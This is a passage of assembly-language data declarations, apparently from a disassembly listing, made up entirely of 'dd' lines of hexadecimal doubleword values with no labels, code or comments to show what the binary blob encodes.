		dd 0E650485h, 68F47F00h, 0CB7C42CEh, 349B00EFh,	0D7D22B0Fh
		dd 0AC07D9D5h, 468F66FCh, 0C8A7A110h, 7F040E94h, 22C0D8A8h
		dd 67F95DE0h, 1DF87103h, 0F055421Bh, 0F53FC0h, 0D9B61AB3h
		dd 8BCD5932h, 0F0002F70h, 0C2900BCAh, 195E84Dh,	4494C6A7h
		dd 8048AB14h, 363B8278h, 0EA16530Ch, 68C500A2h,	0E9950D3Ah
		dd 107967ECh, 5BF97E00h, 92015652h, 2DED13EBh, 40E91C6Bh
		dd 63330CF2h, 4C007C8Fh, 1D397971h, 1646CE18h, 113ECB02h
		dd 9B28FC7Ch, 0F68B80C8h, 0D76B00F2h, 44A358DAh, 53307CFDh
		dd 16CA4011h, 0A89800BEh, 477F20B4h, 6F3FA597h,	8483280Eh
		dd 4E1F581Ah, 19B660D0h, 36C985Dh, 0A2E35054h, 7807C7D0h
		dd 1DE65260h, 8F5AA5EEh, 3B94088h, 82DB371Ch, 74D80B9Dh
		dd 3405F4D8h, 884FB2CFh, 3637E400h, 60AFE9h, 0C116AC0Dh
		dd 46F3C8D7h, 1C258h, 7518C687h, 0FEB42CFh, 2666A8AAh
		dd 0E62A25h, 787D12D7h,	731D6FC3h, 5303E965h, 0B950CA06h
		dd 5FC0DC74h, 18EA7172h, 0E42AD486h, 8C0B32F1h,	1855DAh
		dd 83011015h, 0A1E3001Ch, 5ACA8EA3h, 413F69CCh,	0A08A8E9Bh
		dd 28F745DFh, 0BA248F80h, 98991DC1h, 0EE07FC5Bh, 8096FAB9h
		dd 496FC058h, 0BE6E3E3Eh, 0CB330023h, 0AEB8545Eh, 26C5008Bh
		dd 0BBD43B58h, 6C001B49h, 3A5C7A51h, 9B0483h, 4622A41Ah
		dd 66171D4Bh, 378A3900h, 0C8AFA0AAh, 5A9F0053h,	7C72E052h
		dd 890057CAh, 35024FFAh, 33D314h, 2806BFE3h, 29D0D75Ah
		dd 6F0BE600h, 32CC1B34h, 0FF1A1C05h, 479EC08Dh,	845C9051h
		dd 37A67118h, 5DD88h, 3AF45CFh,	7BFB29DFh, 0B100C47Fh
		dd 0E9B3BC84h, 25F8A1h,	0F172AA15h, 35944D8Eh, 0CD886400h
		dd 28A7C9B6h, 0C0597FD6h, 0DB169611h, 8201E151h, 2CA15C8Eh
		dd 0E040CB3Eh, 135563Ch, 371BFCBBh, 0FC85FEB2h,	652A49BCh
		dd 0B4028C36h, 12B87E28h, 0AADA8099h, 0B18214h,	0AC3D8823h
		dd 80D4B3A0h, 5547BA00h, 42DE76D6h, 710D00FDh, 4D31DC13h
		dd 5000C01Dh, 0BB1554Fh, 0A75A16h, 0ACF39160h, 0BE73D143h
		dd 7AA1A5Ch, 868C74DDh,	2EBA3F30h, 26B300CCh, 0E5143415h
		dd 0E40B549Eh, 80455FBBh, 0BF774A1Ch, 6F97003Ah, 7F14FB2Fh
		dd 3EF49BA3h, 0C2CE910Eh, 0C919E0AAh, 0A54884h,	4E9E3AFFh
		dd 6D07EE03h, 0E3F05901h, 8DFFCA9h, 0ACE01180h,	0DC031F0Dh
		dd 0C0F72C77h, 80C27869h, 80F7D389h, 0DF3A558Ah, 0C3FC00AFh
		dd 0F3C97EE8h, 0CE1D9C6Ch, 6BC0C7BFh, 43EE742Bh, 56E730A2h
		dd 0BFC8B241h, 0BDD6C407h, 9DF1CCE1h, 0B4405219h, 0FB3CD08h
		dd 262A44E4h, 0CC302260h, 0E50761D4h, 0BE2B8A68h, 0B8CBE6C0h
		dd 0F50A00D0h, 22436614h
		dd 98F6D629h, 0FB111200h, 0B5065FDh, 7D0F02CAh,	8DCC10C0h
		dd 7038740h, 3525E52Eh,	0D92C003Dh, 0E2374993h,	92220062h
		dd 2EFECD29h, 0DD0B47C3h, 81864489h, 5C4C2451h,	1E975020h
		dd 40CC8DCAh, 60126B22h, 2A487E9Ch, 4EDA0778h, 0ECFAD15Bh
		dd 48E14C80h, 0EA3EFBD8h, 0C01500F5h, 3CBD7554h, 4509C50Eh
		dd 208DCBA9h, 366E31B4h, 8403491Eh, 55E03400h, 5668221h
		dd 0FE1C5F09h, 0CCAC21CAh, 39818EEAh, 0B0F7612Eh, 136ED067h
		dd 68DE691Dh, 33BD349h,	0F8246B3Ch, 0BD1B12h, 1C5B961Fh
		dd 9C46E4C9h, 0AA014800h, 0A0798056h, 0F6B20197h, 73342F2Bh
		dd 41C02053h, 0B7012890h, 0BB064970h, 0E44596A5h, 5E231F00h
		dd 341742Ch, 0FAB7936Ah, 50983C56h, 0CE00B5DCh,	0D41CC954h
		dd 79043E64h, 177704C6h, 843C331Ah, 7381C734h, 89B097E7h
		dd 5648A974h, 63600C1h,	0BEBDD8ACh, 0F20D00D7h,	0B446717h
		dd 0D4716DFBh, 517D2500h, 0F7D8713Ch, 38EF0023h, 46402642h
		dd 8000B497h, 6AFB1FEEh, 0EA7758A2h, 566000ADh,	0EC4C0E71h
		dd 0AD9811DBh, 0C0D0FC1Ch, 812EB849h, 1D8CFE50h, 0CB006C23h
		dd 4CE767C5h, 5EB0786Ah, 0D51D8300h, 72A2FD94h,	0A67400F0h
		dd 0D2476BDCh, 5E00E9FAh, 0CE01D9F1h, 1FA1905Fh, 0CFAE6CC5h
		dd 0DEC729C3h, 587A31E3h, 7E05EC57h, 0D0F82F00h, 0C106BCFBh
		dd 49540030h, 1093F30Eh, 8200DCF7h, 4EDF4AB5h, 0A310Fh
		dd 1747B0AAh, 27BAF051h, 9989DB0Eh, 0F430C246h,	63A4425Bh
		dd 6BF00016h, 0EF510B76h, 8E39B8D9h, 0E2332CB7h, 75CAB500h
		dd 3D3C8B42h, 0D33FA9ABh, 2990490Eh, 0DFA2A740h, 9539B682h
		dd 0ACA3002Ah, 924F8CDDh, 5F2B0C2Fh, 0DA680BC9h, 0BE807601h
		dd 331DFB32h, 3A009832h, 753BE37Eh, 0C530C426h,	65BE18CFh
		dd 6782F05Eh, 805D117Bh, 6D0288B3h, 0DA08A300h,	43B6BB80h
		dd 665B0648h, 48E72E8Ah, 3320F902h, 486096D2h, 0F823E590h
		dd 3F9D00F5h, 6E804E50h, 10A0BED2h, 7500035Bh, 55F3DF20h
		dd 0A50593h, 0B908854Ah, 8FA84D98h, 7297B600h, 5BBF5431h
		dd 589E00D7h, 903B3D22h, 34002AFCh, 7D20262Eh, 140A54h
		dd 77D1099Fh, 53DF139h,	0A5805C00h, 0A9469734h,	0E97348h
		dd 2EA610BBh, 0C9FC1B73h, 0F040D100h, 947E0BFh,	18E50774h
		dd 77288BE1h, 179700E4h, 67701BC4h, 6593AC0Eh, 0AD526064h
		dd 0E6A7B30Eh, 0D307007Eh, 3F2F2CC7h, 1B005678h, 0F32548A3h
		dd 750F8B8Fh, 430B00A7h, 1D9AFA4Ch, 0F607F112h,	0FB732669h
		dd 68713922h, 1308BC60h, 0F3CA025h, 5F216819h, 806B3A53h
		dd 0B6985421h, 0E41E39h, 7F91BB1Dh, 7E1C0207h, 0FB02FC76h
		dd 0F06066B7h, 0BCB4A15Eh, 1FF1A956h, 0EC40ACE9h, 6A52E88h
		dd 0C2B97DBAh, 93302872h, 7C1E316Dh, 0BAF3078Ah, 90B9C852h
		dd 0D1287BF7h, 0BF20DE00h, 0C5B7699Fh, 0DC563BD5h, 40384512h
		dd 57D96A2Ch, 15003427h, 0A0AFCC19h, 1CFFAA36h,	40DDD470h
		dd 5E5072F2h, 0D1C7743Ah, 5A90A127h, 7BF92668h,	318B04DEh
		dd 805281FEh, 0B1F09234h, 7093B218h, 902D60A1h,	8FEE1Ch
		dd 54E245ADh, 0CCA9C78Bh, 0B758A701h, 0DD7242C4h, 360FA480h
		dd 0E5B4DB7Ch, 0F6602414h, 0AD0C818Ch, 57E891D4h, 4AFB2EB2h
		dd 0D6384128h, 1AA18F68h, 39096054h, 603A563Eh,	0B449196Dh
		dd 4A37B196h, 93352010h, 5B5180BFh, 620042C8h, 0F4965D40h
		dd 0D3679Ah, 6C738C0Fh,	2DA3868Ah, 0AF6B3Ah, 0E8CC905Eh
		dd 5C25BDA1h, 6F7E14F7h, 21B808EFh, 0A100D06Bh,	6F55CC54h
		dd 7F57446h, 1EB07E84h,	0F79C37EBh, 192DA0FEh, 8D0051A0h
		dd 0A567D33Ah, 0EEE5C93h, 9176D4ACh, 57B05098h,	0A296500h
		dd 135A4050h, 304F7468h, 0D120AD7Eh, 0A700645Fh, 822B4B8Ah
		dd 381CEFFh, 1A2835C4h,	48009071h, 0C962EEA5h, 3A241BFDh
		dd 4D80B849h, 0ACBB7A96h, 0C73960CEh, 7BDB8C01h, 6C5088D0h
		dd 0D3906083h, 65540D8Ch, 13880A26h, 21008748h,	47645CD0h
		dd 1822F5D6h, 8874E99Eh, 0B2A02955h, 94A8AA83h,	0C0E89DACh
		dd 11A40430h, 4B502643h, 1BA1FC54h, 0F60922A8h,	2EE30321h
		dd 0AD9EB50h, 0CB08F5B8h, 0B0BC5730h, 0B0EE190Bh, 0AA7BBDh
		dd 0F5ED4B74h, 46350785h, 2CE46E54h, 0A1E9048Ch, 62FF25B2h
		dd 0D16A2095h, 4901A9A1h, 0C041436Ch, 0A8506E1Bh, 8F3A73h
		dd 939ECB7Dh, 1F7A2F03h, 82DA5A00h, 0AFE7FD5h, 9180F139h
		dd 57F2FF83h, 5D0A5E9Eh, 844F7A19h, 69413C1Eh, 249C67F8h
		dd 4670D4h, 1F0D732Ah, 595B24Fh, 36B1A100h, 8BB6F320h
		dd 9F80003Dh, 0D2F9699h, 0AC008153h, 0ECDAB34Bh, 0B0D2B764h
		dd 2BF90093h, 31BC84A3h, 5D00F323h, 4E35FC2Ch, 269D1D44h
		dd 289FF8A0h, 0E41701DDh, 0AF3E1F38h, 1142DF7Bh, 3DCDA004h
		dd 7010C013h, 1ED2E7B8h, 6BB6BE00h, 366CCC3Bh, 9250022h
		dd 0DF9C44CDh, 0E63270BBh, 208229E5h, 0B71D5B41h, 0BC773F00h
		dd 1E501FD7h, 13C78ECh,	5525D9AEh, 0F1E4E503h, 0CF81E27Fh
		dd 3070AA68h, 520082F2h, 3DA7617Ah, 278C9Bh, 0F1AC8DFEh
		dd 0D368296Dh, 1CE0B900h, 80B166F2h, 4EAF0070h,	0F76F2CEEh
		dd 8C0001A1h, 990A614h,	6B80A8h, 6E21D91h, 8871B830h, 749AC300h
		dd 0B9503576h, 97C90073h, 26108001h, 7B03F8B3h,	5948C286h
		dd 14BC865Fh, 8C187D3Fh, 9D228300h, 8E0958F3h, 6AEA3500h
		dd 50EE4829h, 733F0038h, 3C7E1F81h, 6500F234h, 0D72A609h
		dd 67B0B2Ah, 8C4D68A9h,	0AC0011F3h, 0D69E4505h,	3FA367h
		dd 469ACD55h, 14EF9738h, 355D3300h, 0A9A67960h,	0E6762C86h
		dd 0E30601BCh, 0D855BC0Eh, 0BA01FA3Fh, 0AC0F1887h, 6CD895CDh
		dd 0C4C850EEh, 0A9AA00B0h, 0EE2B1AFh, 42E4D919h, 0D7D01D2Eh
		dd 37D47500h, 0AD318Ch,	309833E7h, 3D80215Bh, 0CFAD512h
		dd 977200ABh, 1C627E4h,	4FF25301h, 12AC846Fh, 55F880FDh
		dd 0A1DD09EFh, 2404E718h, 0B2008E40h, 79701897h, 735BC600h
		dd 69C40CDBh, 91D23B83h, 0E9BD5D00h, 2689E5EBh,	7E004D7Ch
		dd 0F102C2A6h, 874922h,	0CBC79272h, 3BAF31C3h, 0F4A33F3Eh
		dd 2A4CD500h, 39543650h, 226009Fh, 0A7B22F84h, 4DE6A1C8h
		dd 0AA5C20C0h, 0AB1A4h,	1EBE21EFh, 0AE0E4901h, 9E7BFC18h
		dd 0E4A950h, 0A6322DEDh, 0FDE36138h, 0A72481Fh,	6D7003Ch
		dd 0F49F29AFh, 756F038Dh, 98C2A211h, 0C83187C1h, 133A7910h
		dd 9D690320h, 0B85D34ABh, 1D301584h, 80F9A8D6h,	0D7DE89F1h
		dd 0D42D99CBh, 0A32A606Ah, 0D36B0F27h, 31406CDAh, 0A8342148h
		dd 0A781AF0Fh, 9A0181Eh, 35DC4842h, 3D601D00h, 204242Bh
		dd 4C1C8000h, 91F1C0BCh, 2AEB00ADh, 6583394Dh, 9F28597Bh
		dd 8F00F0E5h, 4453BBF6h, 6A42FDh, 0AC37C95h, 0D6BF1589h
		dd 0B9B5AB00h, 0EC381E9Bh, 16C1003Ah, 64EB6E76h, 8F0039BBh
		dd 1326E085h, 39E95643h, 0A5A43336h, 0A23700C8h, 0CE2BF16h
		dd 6605C64h, 44CF50D2h,	714F00FCh, 0CCB58AC6h, 48C04BEDh
		dd 3035DC6Dh, 1E9840EAh, 72627E00h, 212641D9h, 0D2AE00CAh
		dd 11A53792h, 56FE1BEh,	14F1E460h, 3D1AC200h, 0D776154Bh
		dd 8C4E7A00h, 0BBC68F0Fh, 0A17800BFh, 1AAC3E41h, 0D71C653Ch
		dd 7040A6A9h, 16E653C6h, 9162012Bh, 0F563DB22h,	287C606Fh
		dd 0C0C92E00h, 1A291649h, 0A7DF003Ah, 1E66C1E8h, 0F90040D8h
		dd 7AB56B99h, 0A8817Dh,	57CF4C77h, 0F60C52C2h, 0E8F2E500h
		dd 129F95D3h
		dd 0BDA8A1F3h, 0DC6440CAh, 801900C5h, 0D3586064h, 0F973A5A2h
		dd 4766B403h, 0F0B30FEDh, 76BED01Bh, 328C0071h,	220A56F5h
		dd 5500B2A4h, 9F3BF1E0h, 1E119067h, 4044052Ah, 4D2F4696h
		dd 6A02E051h, 5E154A69h, 73C48016h, 7E6686h, 9E46927Dh
		dd 0B563751Dh, 8CD20A00h, 68785F90h, 951200CCh,	8AA37438h
		dd 6A006F56h, 3047099Dh, 1D3A2B83h, 8072A26Bh, 9E816CF5h
		dd 123B840Dh, 3EA50036h, 0E5352738h, 658703BEh,	0B2E1379Ah
		dd 80FF76E3h, 0A2302F3h, 1493A000h, 254B356Dh, 82730FE5h
		dd 6560ED70h, 0D97DACD3h, 43FF0B00h, 92A1531Ch,	819A50D7h
		dd 0EB60003Fh, 0ADD237B6h, 0FB01E2CAh, 3C8BD631h, 146028D4h
		dd 0D543E2Ch, 0EFD1CD80h, 0AE158163h, 94078E7Dh, 50B87B6Dh
		dd 60969811h, 118011DDh, 3A1D3CC1h, 69002A5Ch, 22EF5FF5h
		dd 13370Ah, 6CBC1CD5h, 0EC23F4B8h, 77807000h, 0A6A0C98Eh
		dd 50530046h, 859EB14Fh, 65FFC3FFh, 0AD60EACCh,	190E432Dh
		dd 0A0D83BDDh, 9CFB9193h, 255F28CCh, 8CEA80h, 7DE74A9Bh
		dd 3BBC1135h, 0F5C51B00h, 0F2F08160h, 3E270037h, 57662F87h
		dd 0AD00FA6Eh, 5EB8EF98h, 0CC412Bh, 0E34099D0h,	642926F7h
		dd 0EC45941Ch, 252AFB40h, 43AE90h, 6AF25831h, 0DEEEAF6Fh
		dd 53352B07h, 0F09CF789h, 0CC0B00B6h, 0AA5B8B05h, 21E6026h
		dd 9541DAD2h, 0B769E55Ch, 39C740CEh, 65BA0075h,	19F609F1h
		dd 420F2D31h, 49B4A8EEh, 62FC201Ah, 26790571h, 8028DE5Bh
		dd 3C6FD601h, 673C6425h, 745D805Eh, 7A31FF87h, 5A410955h
		dd 0B8037E18h, 54B06879h, 2E3A7204h, 4867AC65h,	3C247480h
		dd 5C16253h, 0BB7AB14h,	6784D0E0h, 887813F0h, 28A0341Ch
		dd 12897006h, 209E3890h, 0F724033Ah, 0A9131834h, 20A0EF96h
		dd 0F3182C63h, 6F086D73h, 9C885CC7h, 0CC7C75h, 6314A094h
		dd 9634E88Dh, 651CC850h, 34508C68h, 0C56A983h, 4748026Fh
		dd 0B12986Dh, 520A0C49h, 610C1438h, 0FF6D0A3Ah,	9068CB96h
		dd 340800DFh, 0AA71EF6Bh, 0F117BCEh, 9D2597B6h,	7CFA7A23h
		dd 0E2FEC288h, 11D21500h, 7F72C0C4h, 6F9B0004h,	81964D4Ch
		dd 6A00D6EAh, 0B411643Eh, 4AE548h, 1FBEB75Fh, 32CDC7C0h
		dd 7B6E8000h, 278DB91Bh, 9A9D004Eh, 0D2C92A97h,	0BF000398h
		dd 0C1443ED8h, 0EC43CF2Ch, 3AA83A0Fh, 0E5225181h, 0D0EDD390h
		dd 560077A3h, 947E5FD9h, 0B0805508h, 0E221005Ch, 796DDFCh
		dd 0C00C3DB9h, 0CA385B10h, 0CD70B588h, 69AA488h, 61056400h
		dd 0ED0A6BD9h, 7E2B013Eh, 291F16A0h, 0D565D08Ch, 3058AF30h
		dd 1237FE8Eh, 906F05D3h, 3CF6658Ch, 0A3E3481Eh,	0DF1801D3h
		dd 93E418h, 5CF289EEh, 15D08D6Ah, 0BE8C351Fh, 4F38C900h
		dd 60EF6377h, 0CD1F49EBh, 0DF026974h, 8FD00E7Bh, 5E2FE03Bh
		dd 3B97F6ACh, 10053CA6h, 83967E17h, 0CAA06F3Dh,	180044FDh
		dd 57F94201h, 0F0C46DBEh, 7E690B9Ah, 1000828Eh,	0A9EB08BFh
		dd 0CF9286Fh, 53C109h, 68EE06D1h, 941C514Fh, 931D6CA0h
		dd 822CCF3Eh, 6101CC39h, 842923C1h, 8033CD99h, 0F0DCAA11h
		dd 7C8D9712h, 81E012A8h, 585F064Fh, 217998DEh, 0CC00BAF8h
		dd 65FABB11h, 4D3A55h, 2B58B0DDh, 674973B4h, 0C60D8B00h
		dd 6EFB784Eh, 430B0C11h, 4CB254BCh, 34D33000h, 0A23D6A84h
		dd 3CCF496h, 24C63E70h,	0BB98D49Ah, 0EE000569h,	6786B3FCh
		dd 19C5A711h, 102C8B8Fh, 7328812Bh, 0A3FF5CB0h,	0C5E51980h
		dd 26C0213Ah, 677A1910h, 0DAFA7100h, 569AA1A2h,	0BB78DF00h
		dd 7422D1B8h, 4879BFh, 7AA768E4h, 71FE0EB6h, 86A11600h
		dd 956637D4h, 0CDE00042h, 8D805676h, 0ECF14CCBh, 353C21F6h
		dd 3907011Ah, 0CABCA111h, 608AD3C0h, 0E0AEB0B6h, 873C4996h
		dd 59A0F26h, 80A48EB2h,	532F5FA0h, 0C8F8E5h, 90E4DC5h
		dd 2C8C3045h, 7F607672h, 3F13EE9h, 4496303Dh, 0A2208B10h
		dd 80377A38h, 8A39A61Bh, 757C4E43h, 41F1DCBBh, 9DAF239Fh
		dd 865087F9h, 71003A4Dh, 0C2567Fh, 0C5334C97h, 0CF1F1C42h
		dd 0E7AE4700h, 0A67A8FDCh, 0B45900C1h, 721A6092h, 7C003CEDh
		dd 14C36DA4h, 8FBA56h, 8B506318h, 0E6278568h, 58406963h
		dd 0F0BBC9EAh, 0C1645080h, 0DEECFC18h, 448510C0h, 1E035h
		dd 0DC5E9AEEh, 69090591h, 18C3AF71h, 0F02ACB88h, 0ED6C78Fh
		dd 15BE7F56h, 60444C06h, 6B18DE00h, 0A2DF734Fh,	50FE3A6Ah
		dd 7F809E00h, 14A1B76Fh, 0E46C1701h, 0B9667345h, 37E6D99Fh
		dd 9EF3F041h, 3800ECC2h, 0D2FDA457h, 1056B2h, 923AB934h
		dd 0DE7E121Eh, 473083F3h, 0B9A1493Bh, 0D0D0AFB0h, 0F91C19B2h
		dd 0FCAA511Bh, 5B004B20h, 2D03D3DFh, 1E8D0Eh, 97399A93h
		dd 0D8AF1D68h, 5BC088DDh, 757011A7h, 7B56F4F5h,	0FEBB007Ah
		dd 0C361CB3Ch, 8319AA21h, 401147EEh, 140C044Fh,	7B1041B1h
		dd 0E2013D76h, 23ED6FC1h, 0F6DC470Dh, 0C53C0310h, 0AF0AB814h
		dd 0AE6F2811h, 1504A121h, 0AC083DCAh, 22CBC642h, 48272295h
		dd 9E088B8h, 98C71A88h,	223A51C9h, 0AD7196E2h, 3C1BD601h
		dd 0C25E3DFDh, 1AEDE4h,	7C3BF331h, 7AF12441h, 5BC0A000h
		dd 10AB0609h, 95F9077Bh, 97410456h, 86ADE02Eh, 8D00658Ah
		dd 0CED56A61h, 0E9A52h,	0EBBDB0A6h, 831AF36h, 0ADF76D00h
		dd 929F8D78h, 2B6A0056h, 909998BCh, 0C074B19h, 8CCB1E04h
		dd 0A4757Eh, 0BD55768Eh, 3A228172h, 0E9BD9B13h,	578E300h
		dd 5624AAA9h, 0F519E100h, 0CF2B0223h, 607200B0h, 75411E09h
		dd 0E002C20h, 50F4E63Dh, 0E6124A4Bh, 9DAB015Ch,	8E8058C9h
		dd 95D85005h, 1F004F67h, 0A27DCAC2h, 9DB05B06h,	57000950h
		dd 3F1B50ABh, 4734F6h, 74BE20FBh, 0D310E18h, 30C0600h
		dd 0B34E6B46h, 0E86791Ch, 61CAD419h, 0D7768A80h, 9600D9F8h
		dd 0BB454FEDh, 0A599Fh,	0D4B4AFF0h, 0F6337FD0h,	407BBA00h
		dd 5CBF3723h, 3B3F001Eh, 0C96A2686h, 0DE00EBA3h, 31954A92h
		dd 0C27399h, 9E838D7Fh,	12D4165Ch, 13D6400h, 931A56FDh
		dd 62B90032h, 87A8D6C9h, 9100196Ah, 3F203CE3h, 3A5A959Bh
		dd 43BA1B60h, 7E81D680h, 8E9BCD7h, 0F2CF4100h, 2A9A99EDh
		dd 20EE0E71h, 96C04B2Dh, 0DB6DFF72h, 0BFA748h, 0E5D392CBh
		dd 5735F9h, 0D2512DB4h,	421AFCF8h, 4A024CF0h, 0A1F6E6F0h
		dd 92415573h, 31BFC039h, 0EAAC800h, 9A0F320Bh, 0AFD70784h
		dd 60CFD1h, 421DB85Eh, 4DFD2F2Eh, 8E0A9326h, 0C480AC78h
		dd 2854AF1Bh, 0A1E602F6h, 98BB02FCh, 9DB83EE0h,	0CF697701h
		dd 2BF4D48Ch, 0D17025C5h, 486770B9h, 46240434h,	540404FBh
		dd 820483CEh, 14148C4h,	7BF457FEh, 6AEE4A1h, 3300C677h
		dd 1CBFBDB5h, 90E6963Ah, 850B0308h, 0FBE3B3E0h,	20981000h
		dd 82DDFFC1h, 783C000Ah, 344EF46Ah, 0D9002FEBh,	0FF83BFEh
		dd 24722292h, 564DE1Bh,	0C704A2B4h, 0EB326013h,	0D3008F8Bh
		dd 6B54DBE0h, 0DE25B2h,	7C584B37h, 6AF13398h, 480CF0EBh
		dd 34220400h, 80056F2Ch, 141D2C93h, 43003DE7h, 8330B7F4h
		dd 0D40B5F4Ah, 80D5E913h, 0E4035C0Ah, 50F200DDh, 3063228Ch
		dd 0DB00E576h, 0CA6141F8h, 78D20CBCh, 6E4A0F79h, 827CC33Ah
		dd 0D428CB37h, 4009E540h, 2CCA3100h, 140FD6DFh,	94010307h
		dd 371AB585h, 767970E8h, 0FDD39C00h, 96251DC4h,	0C6230127h
		dd 843A8F0Dh, 0EC9AD4BCh, 0BF0673FAh, 2DC4E67Dh, 0F757D60h
		dd 499FB455h, 0AE4A00BDh
		dd 28C41344h, 665D8100h, 5CDE724Bh, 0E448C507h,	9BF400E0h
		dd 0F6DAEFFAh, 0B7077C90h, 9A6F2F47h, 70FE20E0h, 38300E0h
		dd 3177B6A7h, 0D60BC51Ch, 544634h, 5824FE46h, 0C0EB09C1h
		dd 5080CFF2h, 4A70B00Fh, 301CA548h, 0DCC82857h,	1F2003Dh
		dd 137398A1h, 1200B32Ah, 6B5FD467h, 0B4522949h,	46C800C8h
		dd 0F1C24278h, 0FC6F771Ch, 0FD80DCDFh, 0B513EED0h, 735B005Dh
		dd 40E96B27h, 5E17334Ah, 280EF60Ah, 61FBE17Ah, 2180652Ch
		dd 3E2AF915h, 0D50CE0A1h, 186E4F09h, 437404B2h,	0C008E327h
		dd 0A7A8554Fh, 0FE1D0501h, 9B7C6885h, 1FF50CF8h, 525B0ABAh
		dd 0E120009Ch, 55F3CCECh, 0C8FB7D00h, 9E7FBBFDh, 9EA7743h
		dd 0CC7667CBh, 0A91000DDh, 3070D8h, 0D7714960h,	43CFF7E7h
		dd 0DBC5731Dh, 6B3982C0h, 55EF448h, 0D9A25A3Ah,	79100DFh
		dd 0A47EFA9Dh, 8300F790h, 490355F8h, 0EFDBD3h, 0B723AF37h
		dd 0D5CC4035h, 2BB4BA01h, 759D14BBh, 97FCC20h, 0EFE53EFBh
		dd 720C4A0h, 4400DDC7h,	0FF3CF8B6h, 0B956E0h, 320211CAh
		dd 71A88593h, 0CE23F700h, 77E264D2h, 4D500D0h, 398F58AAh
		dd 6E003335h, 6F1061FAh, 0F5057EA0h, 24E878DDh,	76D005Bh
		dd 0C804C6DDh, 8018916Ch, 83296ED8h, 749400A4h,	0CB432771h
		dd 761F148Dh, 2DCEB862h, 1A1D401Bh, 955C47h, 0EE02BA3Ch
		dd 946372C1h, 0F285F41Ch, 0A6A80BBh, 8BEA17F5h,	499C1EE3h
		dd 4023DEE2h, 0B9020FD9h, 510078C5h, 878CDA5Fh,	4FABAFh
		dd 10B0888Eh, 46644D03h, 0F7C55007h, 0BD09B36h,	0FB9FA5h
		dd 0EE64847h, 0FF93DB2Ah, 0B86B4F00h, 6CCFD45Ch, 0BA4A0FF2h
		dd 0AAE061B3h, 74450763h, 8BE0B900h, 5209CCC4h,	0CE5700D2h
		dd 3EB1BBE4h, 5A00D553h, 6015C3CDh, 26507Eh, 3C1E31BCh
		dd 48F61B09h, 0F76E3007h, 0E5C0FB5Ch, 1FF0C665h, 81A6735Dh
		dd 6F9F3C2Ah, 7840701Bh, 46261800h, 94A5F9A1h, 2DB700DCh
		dd 0F9BB884h, 2AFA2BEBh, 0A6918900h, 0CB692316h, 0C45D009Ah
		dd 7CC8B027h, 0E6073B3Eh, 2F4C8B01h, 90B5BA53h,	8165CCh
		dd 6EF91BC8h, 24685062h, 0D4006CE2h, 0FB3802Bh,	0E48E73h
		dd 0ABE72DBCh, 0BA29822Eh, 0FBD7ED00h, 0FFDB324Ch, 72D1C01Ah
		dd 3DD0C5A6h, 0AF803Bh,	0A4A36CD1h, 12D0A68h, 0C0550616h
		dd 0F42F7E7Ah, 9363D757h, 0A0766529h, 2B8AD68h,	56E3387Bh
		dd 2A405E9Ah, 283024F4h, 0F6B4A472h, 0D53E0032h, 52D6E8D2h
		dd 0C370700Ch, 3355000h, 133355DDh, 9D9A00EAh, 1B8D4539h
		dd 7C60F216h, 0A8EDA129h, 0B17511h, 281DB655h, 93AA6A51h
		dd 409A5400h, 142C4B0Ah, 9B3700BEh, 172052Fh, 50F0959Fh
		dd 79D8B7h, 96B98680h, 4523425Fh, 0B819B300h, 3E375897h
		dd 0A4800018h, 99CCDCB6h, 0F4017155h, 698932E3h, 5DD9D601h
		dd 5124BD0h, 68C97E48h,	0DF8C0754h, 0AF9AC1C8h,	82EE3055h
		dd 44313A00h, 23BB1D91h, 24817B73h, 30DF367Fh, 8ED0907Eh
		dd 6D61BE70h, 1E8A462Eh, 26EDD4h, 0A129EBA5h, 66C1840Eh
		dd 0A77F650Ch, 73531C8h, 24869D19h, 3846D0FFh, 260F8F77h
		dd 40ABAD98h, 2E943E13h, 5496000Ah, 5B372832h, 0C401ED65h
		dd 5F7A076Eh, 1DF0DBA4h, 171F00AFh, 0E1ACD27Ch,	0B81D24B3h
		dd 19C01402h, 0EC6C783h, 37A000EEh, 454A0856h, 5160DF34h
		dd 0A6B20CD2h, 77031C66h, 0F9BD008Ch, 5AD3CC96h, 241D760Eh
		dd 0F51000A9h, 1793215Fh, 490CEFh, 0D2E06A7Ch, 0DE00BCCBh
		dd 5E1B072Ch, 24666F42h, 46F412h, 0F7ED4B28h, 0D409B508h
		dd 553BD9h, 419754F0h, 31BD0110h, 0E9754074h, 5FCD70EEh
		dd 0F586A18h, 1C9FC0h, 1064E56Bh, 955B56D8h, 0E7996100h
		dd 0CFA57E8Ah, 0B77004A9h, 805A831Ch, 0B2D8EEDCh, 0EBFAA10Dh
		dd 0C0F490F8h, 0EA3032D9h, 0BE005079h, 3D344032h, 0EF00D7CAh
		dd 6F6EEA3Fh, 7603FA9Ch, 1F0BB3D3h, 0DA2A905Dh,	0CFF01C0h
		dd 2740FE3Dh, 68F820EAh, 8C91413Ah, 386E9AA2h, 26C10009h
		dd 0BAB7693Dh, 0AE3B7538h, 6B02007Eh, 0DC68FC37h, 2BBE00D9h
		dd 0CCAD2744h, 7C008F9Fh, 380A11BCh, 7AFF2054h,	2ACA0030h
		dd 722D4EEFh, 731EF97Eh, 924081FAh, 668BB65Ah, 0E4E230C5h
		dd 82C8D2D0h, 1CA4F400h, 0B7D09F16h, 79EF009Dh,	0C9692D27h
		dd 0F50C9BB9h, 0F031EDF8h, 92BB000Ah, 0FF50412Ah, 762E7FF0h
		dd 0EE016B3Eh, 5871E544h, 16B9820h, 0AD36076Ah,	8156F10Eh
		dd 967487F9h, 0E3C09F2Dh, 5BC00633h, 213567D1h,	5958F600h
		dd 703C8EB5h, 0AE7B076Fh, 0C0E9F851h, 315EF0ACh, 7896A007h
		dd 35F005C0h, 0F0CA6AE8h, 1A270084h, 6EB31E0Fh,	5A3F455Fh
		dd 7DFF00AAh, 0AEA3FBEDh, 762490D5h, 0FC4E00E5h, 545E7C0Fh
		dd 9B7FE79Fh, 0E027EB00h, 0F46ADBB1h, 0FDA600E1h, 20868D10h
		dd 81056C42h, 0CF9D844Dh, 0A10D07FEh, 9F000B8Ah, 6F9ACD97h
		dd 2D2ED605h, 0F01C07A2h, 2A5AE100h, 1639BB7h, 59DC9C44h
		dd 8033C20Ch, 874CC5D0h, 52B10Bh, 7784711Bh, 0E05E64Eh
		dd 8900DA77h, 767926BBh, 7A3F9757h, 0DEE024F1h,	947D80E4h
		dd 0D15EF6B7h, 7B23B90Fh, 27744007h, 0F4B301A1h, 893A07FDh
		dd 20EA3DE2h, 0FC9C16AEh, 6216B3B8h, 5C13351Ch,	0BE993C01h
